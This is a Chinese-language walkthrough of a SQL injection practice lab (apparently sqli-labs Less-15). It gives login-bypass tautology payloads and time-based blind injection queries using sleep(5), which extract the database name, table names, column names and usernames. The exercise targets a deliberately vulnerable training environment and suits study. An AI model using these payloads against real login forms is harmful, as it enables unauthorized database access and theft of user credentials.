Less-15 POST -Blind -Boolian/time Based -Single quotes
0x01.
按F12查看界面代码,获取上传表单的值是为uname和passwd
uname相当于登录框中的username
passwd相当于登陆框中的password
任意输入uname 和 passwd , 只返回错误界面,但无任何报错信息
构造永真条件使返回忽略用户名和密码不正确这种情况。若将查询语句闭合则会显示登陆成功.
查询语句:
uname=1&passwd=1 or 1=1–+
uname=1&passwd=1’ or 1=1–+
uname=1&passwd=1" or 1=1–+
uname=1&passwd=1’) or 1=1–+
uname=1&passwd=1") or 1=1–+
uname=1&passwd=1’ or 1=1–+
返回登陆成功界面,则证明确实存在注入漏洞
0x02.猜测数据库名
尝试使用基于时间的盲注,正确的话就就是直接返回 错误的话就延时五秒
uname=admin’and If(ascii(substr(database(),1,1))=115,1,sleep(5))# &passwd=123456&submit=Submit
uname=admin’and If(ascii(substr(database(),1,1))=114,1,sleep(5))# &passwd=123456&submit=Submit
说明数据库第一位是s(ascii码是115)
…以此类推,得到数据库的名字为security
0x03.猜测security数据库的表名:
uname=admin’and If(ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=100,1,sleep(5))# &passwd=123456&submit=Submit
uname=admin’and If(ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101,1,sleep(5))# &passwd=123456&submit=Submit
说明第一个数据表的第一位是e,依次类推,得到emails
…依次类推,得到所有的数据表 emails,referers,uagents,users
0x04.猜测users表的列名
uname=admin’and if(ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1,1))=105,1,sleep(5))# &passwd=123456&submit=Submit
…依次类推,得到所有的列名:id,username,paaword
0x05.猜测username的值
uname=admin’ and if(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))#passwd=123456&submit=Submit
…依次类推,得到所有的用户名